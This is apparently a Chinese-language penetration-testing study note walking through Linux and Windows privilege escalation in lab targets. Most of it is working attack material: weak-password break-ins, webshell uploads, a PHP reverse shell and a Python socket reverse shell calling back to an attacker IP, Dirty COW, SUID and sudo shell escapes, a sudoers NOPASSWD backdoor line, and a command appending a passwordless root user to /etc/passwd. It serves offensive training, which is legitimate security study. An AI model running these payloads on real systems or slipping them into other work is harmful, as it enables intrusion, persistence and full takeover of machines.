admin管理员组

文章数量:1794759

DAY28:Linux、Windows 系统提权

DAY28:Linux、Windows 系统提权

DAY28:Linux、Windows 系统提权 1、Linux 系统提权 1.1、Linux 系统版本 linux发行版本: • centos • redhat • ubuntu • kali 1.2、内核漏洞提权思路:

(1)查看系统发行版本

cat /etc/issue cat /etc/*-release

(2)查看内核版本

uname -a

(3)通过得到的系统内核版本,使用 kali 自带的searchsploit工具来搜索exploitdb中的漏洞利用代码

(4)使用linux-exploit-suggester工具来根据操作系统版本号自动查找相应提权脚本的工具。 如果不带任何参数运行该脚本的话,将执行uname -r返回的操作系统发行版本,或者手工输入 -k 参数查找指定版本号。

2、windows 系统提权 操作场景: Windows Server 2003 R2 实验工具: 菜刀管理工具、asp大马 实验文件: pr.exe(MS09-012) 2.1、提权概述

提高应用程序/服务在服务器中的权限

Windows: User >> System Linux: User >> Root 2.2、提权的方式
  • 系统漏洞提权( Windows 、 Linux )

    ​ 系统漏洞提权一般就是利用系统自身缺陷,用来提升权限。为了使用方便,windows和linux系统均有提权用的可执行文件。

    ​ 提权的方式:

    ​ Windows的提权exp一般格式为MS08067.exe;

    ​ Linux的提权exp一般格式为23456.c。

  • 数据库提权

  • 第三方软件/服务提权

  • 2.3、Windows 系统提权

    (1)漏洞编号命名格式

    ​ Windows系统漏洞编号命名格式为:MS08067

    ​ 其中:MS是Micosoft的缩写,固定格式;08 表示年份,即2008 年发布的漏洞;067 表示顺序,即当年度发布的第67个漏洞。

    (2)使用exp提权

    ​ 在日常渗透测试过程中,我们常常会先是拿到webshell再进行提权。 所以提权脚本也常常会被在webshell中运行使用。

    (3)如何知道使用哪个exp来提权呢?

    ​ 可以使用systeminfo命令或者查看补丁目录,查看补丁记录,来判断有哪个补丁没打,然后使用相对应的exp进行提权。

    (4)使用Windows提权辅助工具

    ​ Windows-Exploit-Suggester

    下载地址:

    github/GDSSecurity/Windows-Exploit-Suggester

    (1)更新漏洞库,执行以下命令

    py -2 windows-exploit-suggester.py –update

    (2)查看系统漏洞

    py -2 windows-exploit-suggester.py --database 2022-08-11-mssb.xls --systeminfo 1.txt

    (3)查看系统可能存在的漏洞

    py -2 windows-exploit-suggester.py --database 2020-08-23-mssb.xls --ostext 'windows 7 SP1 32-bit' 2.4、总体思路

    拿到网站 webshell,小马传大马,大马使用 pr 提权,远程连接目标系统, 提权至 system 权限

    3、Windows 提权实战

    获得目标 ip:192.168.182.56

    3.1、查找开放端口

    使用 nmap 或者 scanport 查找,利用超级弱口令工具爆破弱密码。

    使用 nmap 扫描出其端口

    经过这几个端口的弱密码爆破,最终确认了21端口存在弱口令登陆,可以发现可以上传,那么既然这样,直接上大马

    3.2、上传大马

    上传成功,那么让我们访问大马

    进入大马,我们点击执行 cmd 指令,写入我们需要的命令

    点击执行发现拒绝访问,因为我们是没有权限的。我们可以上传一个cmd.exe来作为一个可访问可执行文件

    这时我们执行命令

    找到系统信,使用的是一个工具Windows-Exploit-Suggester,这个工具可以通过系统信及其打过的补丁,快速的检索现有漏洞,从而附上exp、poc地址进行利用,十分方便。

    Windows-Exploit-Suggester:Windows 提权EXP辅助工具,它是用 python开发而成,运行环境是python3.3 及以上版本,且必须安装 xlrd 库(pypi.python/pypi/xlrd),其主要功能是通过比 对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。

    官方下载地址:

    github/GDSSecurity/Windows-Exploit-Suggester

    3.3、提权

    搜索systeminfo信,将上面的信全部复制下来,放入 1.txt

    先对漏洞库进行更新,可在本地文件夹下生成生成日期+mssb.xls文件,再执行检索

    py -2 windows-exploit-suggester.py -update

    检索存在漏洞

    py -2 windows-exploit-suggester.py --database 2022-08-11-mssb.xls --systeminfo 1.txt

    那么可以根据上面的网址,找寻相应exp、poc,下载文件

    上传 pr.exe

    下面执行命令,记得勾选 wscript.shell模块

    成功

    4、Linux 内核溢出提权实战 操作场景: Ubuntu:12.04 实验工具: 使用searchsploit工具搜索内核漏洞

    这里使用靶场环境来进行 Linux 提权,首先知道了目标 ip:192.168.182.33

    注意:这里需要与目标机在同一网段意思就是能 ping 到,所以我们需要一个 vps 能够与目标机建立连接。

    4.1、查询内核版本号

    通过 mysql 弱密码爆破进入,写入一句话木马,连接使用函数查询版本号

    uname -an

    查看Ubuntu内核版本,是3.13.0

    写入大马,或者 re,re 内容为:

    <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 攻击机ip/vps ip 监听端口号 >/tmp/f');?> 4.2、查询漏洞

    使用 kali 的 searchsploit 工具查找漏洞

    searchsploit 版本号

    查到有两个漏洞文件适用于 3.13.0

    37292.c #c语言编写的文件 37292.txt

    4.3、监听、反弹shell

    在 vps 使用 nc 监听,目标机访问 re 或者大马:

    nc -lvnp 7771

    在网页中访问 dama.php

    点击 back connect

    写入vps地址,监听端口号,使用 c,点击 start

    已经弹进去了,但是发现我们此时是空指针,所以输入这句话

    python -c 'import pty;pty.spawn("/bin/bash")'

    可以直接看到成为了 www-data 用户

    或者直接访问 re.php,内容如下:

    <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 攻击机ip/vps ip 监听端口号 >/tmp/f');?> <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.182.36 7771 >/tmp/f');?>

    这里的意思就是进入其中,利用反弹shell直接弹到 www-data 用户,主要是能执行一些系统函数,从而使 nc 能够成功监听进入 shell 当中,nc 监听文件的配置监听端口号

    vps 监听端口,网页访问 re.php,成功

    既然之前将漏洞文件发现了

    4.4、搜索漏洞文件、上传文件

    那么我们需要将这个文件下载或者上传到一个有执行权限的目录,或者可以看看这个文件在系统中有没有,当然蚁剑也能上传。这里就直接运用啦

    find / -name 37292.c

    或者自己上传一个 37292.c 文件,拷贝提权EXP脚本到目标主机

    wget 192.168.182.33/37292.c

    因为已经有了,所以我们 save 名字是重命名的

    4.5、提权

    然后执行 exp ,编译提权脚本,生成可执行文件,进行提权

    gcc 37292.c -o 名字 gcc 37292.c -o qweqwe ./qweqwe whoami #确认权限

    既然是空指针,再来 python -c 一下

    python -c 'import pty;pty.spawn("/bin/bash")'

    可以看到已经是 root 权限了

    5、Linux 系统脏牛提权 操作场景: ·Ubuntu:14.04 漏洞编号: ·CVE-2016-5195 实验文件: ·dirty.c 漏洞影响范围: ·Linux Kernel >= 2.6.22 的所有 Linux 系统 5.1、脏牛提权(Dirty COW)

    漏洞原理:

    Linux内核的内存子系统在处理( Copy-on-Write )时存在条件竞争漏洞,造成 COW 过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。一个低权限的本地用户能够利用 此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

    5.2、获取普通权限

    首先拿到一个普通用户权限,然后拷贝dirty.c到目标系统

    5.3、使用gcc编译执行: gcc -pthread dirty.c -o dirty -lcrypt

    5.4、提权

    使用生成的账户进行登录,成功提权至root权限

    6、Liunx 系统 SUID 提权实战 6.1、SUID提权介绍

    ​ SUID有个 s 标志位,即允许其他非 root 用户用root权限来执行该程序或文件,因此在提权的时候,我们可以查找系统中拥有suid+s标志位的文件来进行修改或者利用其程序来进行提权来达到root 权限。

    - 代表文件 d 代表目录 l 代表链接 c 代表字符型设备 b 代表块设备 n 代表网络设备 r 代表可读的 w 代表可写的 x 代表可执行的 数字4、2和1表示读、写、执行权限。即r=4,w=2,x=1 755表示rwxr-xr-x 775表示rwxrwxr-x 600表示-rw------- 644表示-rw-r--r-- 666表示-rw-rw-rw chown root /tmp/a.txt 把tmp下的a.txt的所有者设置为root chown root:root /tmp/a.txt 把tmp下的a.txt的用户名和用户组改成root和root chown -R root:root /tmp/a 把/tmp/a下的所有文件的属组改成root和root -R 表示处理指定目录以及其子目录下的所有文件 s权限,设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份。 t权限,针对目录,任何用户都可以在此目录中创建文件,但只能删除自己的文件。 i权限,不可修改的权限。 a权限,只追加的权限。 当执行的文件被赋予了s权限,就被称为Set UID,简称为SUID的特殊权限。八进制数为4000 6.2、查找SUID+s的文件

    ​ 寻找有 suid+s 权限的可执行文件,准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件

    find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \\; find / -perm -u=s -type f 2>/dev/null /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u=s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误) >表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。 6.3、常用的可用于提权的程序

    Nmap、Vim、find、Bash、More、Less、Nano、cp、awk

    例如:

    (1) find命令

    -exec 参数可以用来执行指定的系统命令,将会以root来执行find命令

    find test -exec whoami \\;

    /usr/bin/find b.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \\; (2) vim命令

    vim可以用:!后面加命令来执行shell指令,也可以直接调用 shell,如果以 SUID 运行的话,它会继承root用户的权限, 因此可以读取系统上的所有文件

    (3) nmap命令

    较旧版本的Nmap(2.02至5.21)带有交互模式, 从而允许用户执行shell命令。

    nmap> !sh sh-3.2# whoami root

    (4) bash命令

    以下命令将以 root 身份打开一个 bash shell 。

    bash -p

    (5) Less/more命令

    Less 也可以执行提权后的 shell 。同样的方法 也适用于其他许多命令。

    less /etc/passwd !/bin/sh

    (6) awk命令 sudo awk 'BEGIN {system("/bin/bash")}‘ morpheus 'BEGIN {system("/bin/sh")}'

    7、Linux 系统其他提权 7.1、sudo提权

    ​ 原理:普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件 错误导致提权

    7.1.1、利用

    (1)设置sudo免密码 vi /etc/sudoers 在最后一行添加:bypass ALL=(ALL:ALL) NOPASSWD:ALL

    (2)查看sudo的权限,提权成功

    (3)通过sudo -l查看了当前可以使用 root 提权的命令信,可以看到 zip 程序可以以 root 权限执行命令

    sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id

    7.1.2、zip提权 touch exploit sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

    sudo权限提升漏洞 CVE-2021-3156 sudo提权 CVE-2019-14187 7.2、计划任务提取

    ​ 原理:如果可以找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置不当

    (1)查看计划任务,找到有修改权限的计划任务脚本

    crontab -l ls -l /etc/cron* more /etc/crontab

    (2)信搜集

    crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root 7.3、Linux明文root密码提权

    ​ Linux系统的密码与/etc/passwd和/etc/shadow这两个配置文件相关。passwd 文件中储存了用户,shadow 文件中是密码的 hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅 root 可读写的

    7.4、利用 root 无密码执行

    ​ 原理:简单来说,就是一个脚本,比如 py , sh 等或者是一个命令。这个文件可以以 root 身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。

    (1) 写入一个root身份权限的用户进入/etc/passwd 文件中

    可以使用sudo –l命令查看当前用户可以使用的所有sudo命令

    然后使用teehee命令向另一文件中追加内容,可以看到提权成功

    命令如下:

    $ echo "john::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

    (2)执行一个有设定不需要密码就可以执行sudo操作的命令

    sudo perl -e "exec '/bin/sh' " bash -i

    本文标签: 系统Linuxwindows